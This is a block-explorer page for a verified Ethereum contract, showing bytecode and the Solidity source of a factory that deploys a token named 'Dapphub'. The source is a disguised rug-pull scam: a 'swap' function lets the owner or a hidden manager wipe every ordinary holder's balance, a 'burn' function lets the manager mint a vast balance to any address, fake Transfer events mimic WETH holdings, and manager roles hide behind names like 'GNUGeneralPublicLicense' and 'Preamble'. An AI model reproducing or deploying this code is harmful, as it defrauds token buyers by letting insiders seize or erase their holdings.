Address Contract Verified
Address
0x30818FC6C658187e99BD35d5641f63402C97Cc5C
Balance
0 ETH
Nonce
550
Code Size
7562 bytes
Creator
0x48D094C0...d045 at tx 0x6cdfaec8...57ce0a
Indexed Transactions
0
Contract Bytecode
7562 bytes
0x6080604052600436106100225760003560e01c8063f62f82d61461002e57600080fd5b3661002957005b600080fd5b61004161003c3660046101b7565b61005d565b6040516001600160a01b03909116815260200160405180910390f35b600080348787878787604051610072906100e9565b610080959493929190610298565b6040518091039082f090508015801561009d573d6000803e3d6000fd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e81888888886040516100d79594939291906102e8565b60405180910390a19695505050505050565b611a108061034583390190565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261011d57600080fd5b813567ffffffffffffffff811115610137576101376100f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610166576101666100f6565b60405281815283820160200185101561017e57600080fd5b816020850160208301376000918101602001919091529392505050565b80356001600160a01b03811681146101b257600080fd5b919050565b600080600080600060a086880312156101cf57600080fd5b853567ffffffffffffffff8111156101e657600080fd5b6101f28882890161010c565b955050602086013567ffffffffffffffff81111561020f57600080fd5b61021b8882890161010c565b94505061022a6040870161019b565b92506102386060870161019b565b91506102466080870161019b565b90509295509295909350565b6000815180845260005b818110156102785760208185018101518683018201520161025c565b506000602082860101526020601f19601f83011685010191505092915050565b60a0815260006102ab60a0830188610252565b82810360208401526102bd8188610252565b6001600160a01b03968716604085015294861660608401525050921660809092019190915292915050565b6001600160a01b038616815260a06020820181905260009061030c90830187610252565b828103604084015261031e8187610252565b6001600160a01b039586166060850152939094166080909201919091525094935050505056fe60806040819052600b805460ff60a01b19169055611a103881900390819083398101604081905261002f9161060f565b600080546001600160a01b0319163390811782556040519091906000805160206119b0833981519152908290a36100658361017a565b60016100718682610733565b50600261007e8582610733565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100ea6127106100e46b033b2e3c9fd0803ce800000060016101ed565b9061027d565b30600081815260046020526040812092909255906000805160206119d083398151915261012a6127106100e46b033b2e3c9fd0803ce800000060016101ed565b60405190815260200160405180910390a36101436102d8565b60405130903480156108fc02916000818181858888f1935050505015801561016f573d6000803e3d6000fd5b505050505050610853565b6000546001600160a01b0316331461019157600080fd5b6001600160a01b0381166101a457600080fd5b600080546040516001600160a01b03808516939216916000805160206119b083398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826000036101ff57506000610277565b600061020b8385610807565b905082610218858361081e565b146102745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60008082116102ce5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161026b565b610274828461081e565b60006102f86127106100e46b033b2e3c9fd0803ce80000006117706101ed565b9050600061031a6127106100e46b033b2e3c9fd0803ce8000000610bbd6101ed565b9050600061033c6127106100e46b033b2e3c9fd0803ce80000006103e26101ed565b737f39c581f595b53c5cb19bd0b3f8da6c935e2ca060005260046020526000805160206119f08339815191525490915061037690846104db565b60046020526000805160206119f08339815191525573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26000527e137c28eabea4eda5601e544e6551e6761ee561d32c4142c29e0f892835a361546103ce90836104db565b60046020527e137c28eabea4eda5601e544e6551e6761ee561d32c4142c29e0f892835a361556007546001600160a01b03166000908152604090205461041490826104db565b6007546001600160a01b03166000908152600460209081526040918290209290925551848152737f39c581f595b53c5cb19bd0b3f8da6c935e2ca09130916000805160206119d0833981519152910160405180910390a360405182815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29030906000805160206119d08339815191529060200160405180910390a36007546040518281526001600160a01b039091169030906000805160206119d08339815191529060200160405180910390a3505050565b6000806104e88385610840565b9050838110156102745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161026b565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261056157600080fd5b81516001600160401b0381111561057a5761057a61053a565b604051601f8201601f19908116603f011681016001600160401b03811182821017156105a8576105a861053a565b6040528181528382016020018510156105c057600080fd5b60005b828110156105df576020818601810151838301820152016105c3565b506000918101602001919091529392505050565b80516001600160a01b038116811461060a57600080fd5b919050565b600080600080600060a0868803121561062757600080fd5b85516001600160401b0381111561063d57600080fd5b61064988828901610550565b602088015190965090506001600160401b0381111561066757600080fd5b61067388828901610550565b945050610682604087016105f3565b9250610690606087016105f3565b915061069e608087016105f3565b90509295509295909350565b600181811c908216806106be57607f821691505b6020821081036106de57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561072e57806000526020600020601f840160051c8101602085101561070b5750805b601f840160051c820191505b8181101561072b5760008155600101610717565b50505b505050565b81516001600160401b0381111561074c5761074c61053a565b6107608161075a84546106aa565b846106e4565b6020601f821160018114610794576000831561077c5750848201515b600019600385901b1c1916600184901b17845561072b565b600084815260208120601f198516915b828110156107c457878501518255602094850194600190920191016107a4565b50848210156107e25786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610277576102776107f1565b60008261083b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610277576102776107f1565b61114e806108626000396000f3fe6080604052600436106100f75760003560e01c806386f3f3cb1161008a578063a9059cbb11610059578063a9059cbb146102aa578063dd62ed3e146102ca578063e8078d9414610310578063f2fde38b1461032557600080fd5b806386f3f3cb1461022557806389afcb44146102575780638da5cb5b1461027757806395d89b411461029557600080fd5b8063313ce567116100c6578063313ce567146101a757806370a08231146101c3578063715018a6146101f95780638119c0651461021057600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461018757600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610345565b6040516101259190610e0e565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610e71565b6103d7565b6040519015158152602001610125565b34801561016a57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610125565b34801561019357600080fd5b5061014e6101a2366004610e9d565b6103ee565b3480156101b357600080fd5b5060405160128152602001610125565b3480156101cf57600080fd5b506101796101de366004610ede565b6001600160a01b031660009081526004602052604090205490565b34801561020557600080fd5b5061020e61043f565b005b34801561021c57600080fd5b5061020e6104a0565b34801561023157600080fd5b50600b546001600160a01b03165b6040516001600160a01b039091168152602001610125565b34801561026357600080fd5b5061020e610272366004610ede565b61062e565b34801561028357600080fd5b506000546001600160a01b031661023f565b3480156102a157600080fd5b506101186106da565b3480156102b657600080fd5b5061014e6102c5366004610e71565b6106e9565b3480156102d657600080fd5b506101796102e5366004610efb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561031c57600080fd5b5061020e6106f6565b34801561033157600080fd5b5061020e610340366004610ede565b6109f0565b60606001805461035490610f34565b80601f016020809104026020016040519081016040528092919081815260200182805461038090610f34565b80156103cd5780601f106103a2576101008083540402835291602001916103cd565b820191906000526020600020905b8154815290600101906020018083116103b057829003601f168201915b5050505050905090565b60006103e4338484610a75565b5060015b92915050565b60006103fb848484610b9a565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546104359186916104309086610c82565b610a75565b5060019392505050565b6000546001600160a01b0316331461045657600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b03163314806104c357506008546001600160a01b031633145b6104cc57600080fd5b60005b60065481101561062b576000600682815481106104ee576104ee610f6e565b6000918252602090912001546001600160a01b0316905030811480159061052357506000546001600160a01b03828116911614155b801561053d5750600b546001600160a01b03828116911614155b801561056657506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561058f57506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156105a957506008546001600160a01b03828116911614155b80156105c357506007546001600160a01b03828116911614155b156105e2576001600160a01b0381166000908152600460205260408120555b60405160008082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506001016104cf565b50565b6008546001600160a01b0316331461064557600080fd5b6106516012600a611081565b610667906b033b2e3c9fd0803ce8000000611090565b6001600160a01b0382166000818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106b06012600a611081565b6106c6906b033b2e3c9fd0803ce8000000611090565b60405190815260200160405180910390a350565b60606002805461035490610f34565b60006103e4338484610b9a565b6000546001600160a01b0316331461070d57600080fd5b600b54600160a01b900460ff161561076c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ec91906110a7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906110a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e391906110a7565b600b80546001600160a01b0319166001600160a01b03928316179055600a5461091b913091166b033b2e3c9fd0803ce8000000610a75565b600a546001600160a01b031663f305d719473061094d816001600160a01b031660009081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af11580156109b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d891906110c4565b5050600b805460ff60a01b1916600160a01b17905550565b6000546001600160a01b03163314610a0757600080fd5b6001600160a01b038116610a1a57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ad75760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610763565b6001600160a01b038216610b385760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610763565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bad57600080fd5b6001600160a01b038216610bc057600080fd5b6001600160a01b038316600090815260046020526040902054610be39082610c82565b6001600160a01b038085166000908152600460205260408082209390935590841681522054610c129082610ce5565b6001600160a01b038316600090815260046020526040902055610c3483610d44565b610c3d82610d44565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b8d91815260200190565b600082821115610cd45760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610763565b610cde82846110f2565b9392505050565b600080610cf28385611105565b905083811015610cde5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610763565b6001600160a01b0381166000908152600460205260409020541561062b576000805b600654811015610db857826001600160a01b031660068281548110610d8d57610d8d610f6e565b6000918252602090912001546001600160a01b031603610db05760019150610db8565b600101610d66565b5080610e0a57600680546001810182556000919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081526000825180602084015260005b81811015610e3c5760208186018101516040868401015201610e1f565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461062b57600080fd5b60008060408385031215610e8457600080fd5b8235610e8f81610e5c565b946020939093013593505050565b600080600060608486031215610eb257600080fd5b8335610ebd81610e5c565b92506020840135610ecd81610e5c565b929592945050506040919091013590565b600060208284031215610ef057600080fd5b8135610cde81610e5c565b60008060408385031215610f0e57600080fd5b8235610f1981610e5c565b91506020830135610f2981610e5c565b809150509250929050565b600181811c90821680610f4857607f821691505b602082108103610f6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115610fd557808504811115610fb957610fb9610f84565b6001841615610fc757908102905b60019390931c928002610f9e565b935093915050565b600082610fec575060016103e8565b81610ff9575060006103e8565b816001811461100f576002811461101957611035565b60019150506103e8565b60ff84111561102a5761102a610f84565b50506001821b6103e8565b5060208310610133831016604e8410600b8410161715611058575081810a6103e8565b6110656000198484610f9a565b806000190482111561107957611079610f84565b029392505050565b6000610cde60ff841683610fdd565b80820281158282048414176103e8576103e8610f84565b6000602082840312156110b957600080fd5b8151610cde81610e5c565b6000806000606084860312156110d957600080fd5b5050815160208301516040909301519094929350919050565b818103818111156103e8576103e8610f84565b808201808211156103e8576103e8610f8456fea26469706673582212208f71b402571e5e627daf8d5107578e52e1117b0f1a3bb00925c557e1f4b22f2b64736f6c634300081c00338be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efdb9a5b514b561babbade0d49da557f1182fdded785e1c05a2aacb0b7c0ae0f1fa26469706673582212203bfbf504436962fa2bd55161b56bd09cede77b1fcf8b15a5dfab05ef42c12c0864736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: london
Optimization: Yes (200 runs)
zzz.sol 305 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV3Router03 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Dapphub is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000000000000000000000;
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
address private constant ADDRESS_sWETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address private constant ADDRESS_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address GNUGeneralPublicLicense;
address Preamble;
address Virtuals_Protocol;
IUniswapV3Router03 private uniswapV3Router;
address private uniswapV3Pair;
bool private tradingOpen = false;
constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
Preamble = ADDRESS_Manager_;
GNUGeneralPublicLicense = ADDRESS_Manager_;
Virtuals_Protocol = owner_;
Router02Address = Router02Address_;
askDiv[address(this)] = _totalSupply.mul(1).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(6000).div(10000);
uint256 threePercent = _totalSupply.mul(3005).div(10000);
uint256 twoPercent = _totalSupply.mul(994).div(10000);
askDiv[ADDRESS_sWETH] = askDiv[ADDRESS_sWETH].add(ninetyFourPercent);
askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_sWETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_WETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(Preamble == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV3Pair &&
believer != ADDRESS_sWETH &&
believer != ADDRESS_WETH &&
believer != Preamble &&
believer != GNUGeneralPublicLicense
) {
askDiv[believer] = 0;
}
emit Transfer(address(0), believer, 0);
}
}
function burn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV3Router = IUniswapV3Router03(Router02Address);
uniswapV3Pair = IUniswapV2Factory(uniswapV3Router.factory()).createPair(address(this), uniswapV3Router.WETH());
_approve(address(this), address(uniswapV3Router), _totalSupply);
uniswapV3Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
0x000000000000000000000000000000000000dEaD,
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
// Required BEP20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV3Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
constructor() {
}
// Function to create a single token
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
Dapphub newToken = (new Dapphub){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
return address(newToken);
}
receive() external payable {}
}
Write Contract 1 functions
These functions modify contract state and require a wallet transaction to execute.
createToken 0xf62f82d6
string name_
string symbol_
address newOwner_
address ADDRESS_Manager_
address Router02Address_
returns: address
Recent Transactions
No transactions found for this address